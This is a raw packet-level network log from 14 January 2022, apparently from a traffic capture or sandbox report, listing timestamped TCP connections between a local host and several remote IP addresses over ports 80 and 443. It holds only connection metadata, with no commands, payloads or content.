Jan 14, 2022 21:05:42.127907991 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127948999 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.127983093 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.127989054 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128030062 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128032923 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128072977 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128113031 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128153086 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128153086 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128190041 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128211975 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128231049 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128271103 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128309011 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128318071 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128350019 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128365993 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128391027 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128432989 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128474951 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128480911 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128513098 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128547907 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128552914 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128592968 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128631115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128638029 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128671885 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128694057 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128711939 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128751993 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128792048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128813028 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128829002 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128844976 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128873110 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128911972 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128950119 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.128963947 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128987074 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.128990889 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129033089 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129072905 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129112959 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129121065 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129153013 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129160881 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129193068 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129242897 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129281998 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129287958 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129322052 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129331112 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129362106 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129400015 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129439116 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129447937 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129477978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129503012 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129528046 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129576921 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129580975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129621029 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129657984 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129697084 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129703045 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129735947 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129741907 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129776955 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129818916 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129868031 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129900932 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129940987 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.129949093 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.129981041 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130026102 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130064011 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130078077 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130100965 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130105019 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130143881 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130181074 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130218983 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130222082 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130259037 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130266905 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130299091 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130340099 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130377054 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130389929 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130417109 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130419016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130455971 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130494118 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130532026 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130547047 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130569935 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130569935 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130635977 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130677938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130697012 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130716085 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130757093 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130795002 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130810976 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130832911 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130840063 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130873919 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130913973 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130953074 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130968094 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.130994081 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.130999088 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131032944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131072998 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131114960 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131134987 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131158113 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131196976 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131203890 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131243944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131274939 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131314993 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131354094 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131356955 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131395102 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131448030 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131534100 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131582975 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131622076 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131632090 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131671906 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131721020 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131728888 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131781101 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.131807089 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.131894112 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.132663965 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.135931015 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.148591995 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.148713112 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.149579048 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.149612904 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.149637938 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.149663925 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.149671078 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.149691105 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.149719000 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.149739981 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.149998903 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150028944 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150053978 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150079966 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150106907 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150110960 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150130987 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150135040 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150162935 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150187016 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150190115 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150217056 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150243998 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150268078 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150269032 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150294065 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150295019 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150321960 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150346041 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150346994 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150372982 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150402069 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150425911 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150429964 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150456905 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150458097 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150482893 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150509119 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150530100 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.150536060 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150558949 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:42.150564909 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.152070045 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.152183056 CET	49870	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:42.170331955 CET	80	49870	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.002757072 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.020335913 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.020462990 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.020534039 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.023395061 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.040519953 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.040664911 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.138139963 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.138190985 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.138277054 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.146621943 CET	49871	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.164082050 CET	80	49871	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.177823067 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.195324898 CET	80	49872	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.195411921 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.195550919 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.195569038 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.212704897 CET	80	49872	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.335879087 CET	80	49872	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.335963964 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.336162090 CET	49872	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.353291988 CET	80	49872	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.389126062 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.389189959 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.389283895 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.389563084 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.389590979 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.498023987 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.498145103 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.500147104 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.500195026 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.500391960 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.501282930 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.541887999 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839081049 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839265108 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839330912 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839358091 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839381933 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839433908 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839437008 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839456081 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839515924 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839586020 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839709997 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839767933 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839778900 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839837074 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839890957 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839915991 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839936972 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.839946032 CET	49874	443	192.168.2.5	172.67.139.105
Jan 14, 2022 21:05:45.839955091 CET	443	49874	172.67.139.105	192.168.2.5
Jan 14, 2022 21:05:45.902321100 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.920806885 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.920936108 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.921053886 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.921384096 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:45.939707041 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:45.939855099 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.043144941 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.043214083 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.043292046 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.044235945 CET	49875	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.061686993 CET	80	49875	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.077584028 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.077619076 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.077737093 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.078123093 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.078140020 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.159195900 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.159296989 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.161262989 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.161274910 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.161477089 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.162287951 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.205872059 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.207739115 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.207870007 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.207961082 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.208015919 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.208041906 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.208091974 CET	49876	443	192.168.2.5	144.76.136.153
Jan 14, 2022 21:05:46.208108902 CET	443	49876	144.76.136.153	192.168.2.5
Jan 14, 2022 21:05:46.273787975 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.292216063 CET	80	49877	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.292329073 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.292468071 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.292478085 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.310050964 CET	80	49877	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.412679911 CET	80	49877	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.412792921 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.412834883 CET	49877	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.432606936 CET	80	49877	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.476769924 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.494528055 CET	80	49878	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.498934984 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.499016047 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.499032021 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.516704082 CET	80	49878	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.620588064 CET	80	49878	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.620687962 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.620747089 CET	49878	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.638174057 CET	80	49878	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.650537968 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.669930935 CET	80	49879	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.670099974 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.670124054 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.670128107 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.688693047 CET	80	49879	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.786065102 CET	80	49879	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.788762093 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.788788080 CET	49879	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.806565046 CET	80	49879	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.880855083 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.899522066 CET	80	49880	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:46.899668932 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.899764061 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.899842024 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:46.918088913 CET	80	49880	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.024619102 CET	80	49880	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.027286053 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.027575970 CET	49880	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.048609972 CET	80	49880	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.055996895 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.074913025 CET	80	49881	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.075026989 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.075124025 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.075134993 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.092664003 CET	80	49881	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.195976019 CET	80	49881	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.196549892 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.196707010 CET	49881	80	192.168.2.5	8.209.70.0
Jan 14, 2022 21:05:47.204301119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.213987112 CET	80	49881	8.209.70.0	192.168.2.5
Jan 14, 2022 21:05:47.262249947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.262378931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.262491941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.345076084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.345114946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.345132113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.345149040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.345168114 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.345201969 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.403145075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403173923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403186083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403204918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403223991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403242111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403259993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403275967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:47.403276920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.403311968 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:47.403341055 CET	49882	80	192.168.2.5	81.163.30.181
